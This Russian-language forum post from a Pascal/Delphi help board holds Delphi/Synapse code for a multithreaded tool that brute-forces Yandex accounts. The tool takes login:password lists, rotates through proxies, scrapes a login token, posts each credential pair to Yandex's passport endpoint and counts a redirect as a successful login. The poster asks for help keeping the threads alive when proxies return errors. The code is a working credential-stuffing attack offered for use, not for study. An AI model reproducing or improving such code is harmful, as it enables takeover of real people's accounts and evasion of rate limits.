  | 
	
		
	
	
		Help me :) - Вопросы и ответы, обсуждения - Ваши вопросы по Pascal/Delphi только в данном разделе | 
	 
	 
	
	
	
	
	
	
	
	
	
	
	
		 
	 
 
	
	
		
	
	
    
        
            
             
            24.01.2013, 18:04
            
            
         | 
        
             
            #1
            
         | 
    
 
    
    
  
    | 
    
     | 
     
  
    | 
    
     | 
    
    
     | 
   
  
    
        Пехотинец  
     | 
     
 
    
      
  
            
    
      
    
            
                 Регистрация: 02.04.2011  
                
                
                
                 Сообщений: 66
                   
 Популярность: 9953  
                  
	 Сказал(а) спасибо: 898  
	
		
			
				Поблагодарили 412 раз(а) в 209 сообщениях
			
		
	 
     
 
             
                
               
                
       
                  
     | 
    
    
    
        
        
            
            
                 
                Help me :)
             
             
            
        
        
        
            
               
    [Частичное решение ... но оно лажовое ;|] 
	Код: 
	 if (http.ResultCode=403) or (http.ResultCode=500)  then
    begin
        form1.sMemo1.Lines.Add('Реанимировали');
         TNewThread.Create(false);
    end;
 
//Потоки начинают быстро расти... и программа залагивает.. пробывал вынести в синхронайз, тоже самое
Добрый день.
 
Сначала приведу код, потом суть проблемы 
Код потока
 
	Код: 
	constructor TNewThread.Create(CreateSuspended: Boolean);
begin
inherited Create(CreateSuspended);
end;
procedure TNewThread.Execute;
var CurAcc:integer;
curproxy:integer;
    data:tstringstream;
    Str:tstringlist;
    Http:tHttpSend;
    Stranisa,key:boolean;
    f:tstringstream;
    KeyRez:string;
    reg:tregexpr;
    user:integer;
    useragent:string;
begin
 while Work do
  begin
   CS.Enter;
   inc(accproxy);
   Inc(Acc);
   if form1.scheckbox3.checked=true then
   begin
   if accproxy<proxy.Count then
   begin
   curProxy:=accproxy;
   end
   else
   accproxy:=-1;
   end;
   if Acc<sourse.Count then CurAcc:=Acc else Work:=false;
   CS.Leave;
   if Work then
   begin
    if pos(':',Sourse[CurAcc])<>0 then
     begin
     FAcc := Copy(Sourse[CurAcc], 1, Pos(':', Sourse[CurAcc]) - 1);
      FPas := Copy(Sourse[CurAcc], Pos(':', Sourse[CurAcc]) + 1,length(Sourse[CurAcc]));
     end;
     if pos(';',Sourse[CurAcc])<>0 then
     begin
     FAcc := Copy(Sourse[CurAcc], 1, Pos(';', Sourse[CurAcc]) - 1);
      FPas := Copy(Sourse[CurAcc], Pos(';', Sourse[CurAcc]) + 1,length(Sourse[CurAcc]));
     end;
     Http:=tHTTPsend.Create;
     reg:=tregexpr.Create;
     if form1.scheckbox3.checked=true then
   begin
     fProxyip:= Copy(proxy[curProxy],1,Pos(':',proxy[curProxy])-1);
     fProxyPort:= Copy(proxy[curProxy],Pos(':',proxy[curProxy])+1,Length(proxy[curProxy]));
     http.ProxyHost:=fproxyip;
     http.ProxyPort:=fproxyport ;
    //form1.smemo1.lines.add(fproxyip+':'+fProxyPort);
   end;
  {Сам процесс перебора}
  try
    http.Protocol:='1.1';
    http.headers.add('Accept: text/html, */*');
    http.headers.add('Accept-Encoding: identity');
    http.Timeout:=10000;
    key:=http.HTTPMethod('GET','https://pda-    passport.yandex.ru:443/passpot?mode=auth');
 
     if pos('Transfer-Encoding: chunked',HTTP.Headers.Text)=0 then
     begin
       rez:=0;
     end
     else
     begin
     f:=tstringstream.create;
     str:=tstringlist.create;
     http.Document.SaveToStream(F);
     str.Text := f.dataString;
     str.Text := Utf8ToAnsi(str.Text);
     keyRez:=str.Text;
     f.Clear;
     str.Clear;
     reg.expression := (';idkey=(.*?)" class=');
      if reg.exec(keyRez) then
       begin
       keyRez:=reg.Match[1];
       end;
    http.clear;
    http.Protocol:='1.1';
    http.mimetype:='application/x-www-form-urlencoded';
    http.headers.add('Accept: text/html, */*');
    http.headers.add('Referer: https://pda-passport.yandex.ru/passport?mode=auth');
    http.headers.add('Accept-Language: ru-RU');
{Авторизуемся на yandex}
    data:=tstringstream.create('login='+facc+'&passwd='+fpas+'×tamp=&idkey='+keyREZ);
    HTTP.Document.LoadFromStream(Data);
    http.Timeout:=10000;
    HTTP.HTTPMethod('POST','https://pda-passport.yandex.ru:443/passport?mode=auth');
    rez:=-1;
     begin
      if pos('Location',HTTP.Headers.Text) <> 0  then
      begin
       Rez:=1;
      end;
     end;
     end;
 except
  //form1.sMemo1.Lines.Add('Вылетел поток')
  end;
  end;
   f.free;
   str.free;
   reg.Free;
   HTTP.Free;
   data.free;
   Synchronize(Sync)
  end;
 dec(Thread);
end;
 При бруте со своего ип - все нормально 
Начинаю брутить с прокси, брут продолжается до тех пор , пока не будет использована ошибочная прокси... если потоков 10 допустим и yandex ответил 403 то потоков становится 9 и тд...  
как можно заставить его не вылетать при ошибках ? Очень прошу помощи т.к за....манался   
Очень важно!!! Использю Синапс !!!
Скрин
  
     
         
        
        
        
        
        
        
        
        
            
                 
                
                    
                        Последний раз редактировалось =PaLeTiZaToR=; 24.01.2013 в 19:37.
                    
                    
                
             
        
        
      | 
 
    | 
        
        
        
        
         
     | 
    
    
    
        
        
        
        
             
        
        
        
        
        
        
        
            
        
        
        
     | 
 
 
 
  
	 
	
		 
	 
 
 
	
		
	
	
	
	
	
		
	
		 
		Ваши права в разделе
	 | 
 
	
		
		Вы не можете создавать новые темы 
		Вы не можете отвечать в темах 
		Вы не можете прикреплять вложения 
		Вы не можете редактировать свои сообщения 
		 
		
		
		
		
		HTML код Выкл. 
		 
		
	  | 
 
 
	 | 
	
		
	 | 
 
 
Заявление об ответственности / Список мошенников
Часовой пояс GMT +4, время: 10:39. 
		 
	 
 
 | 
  |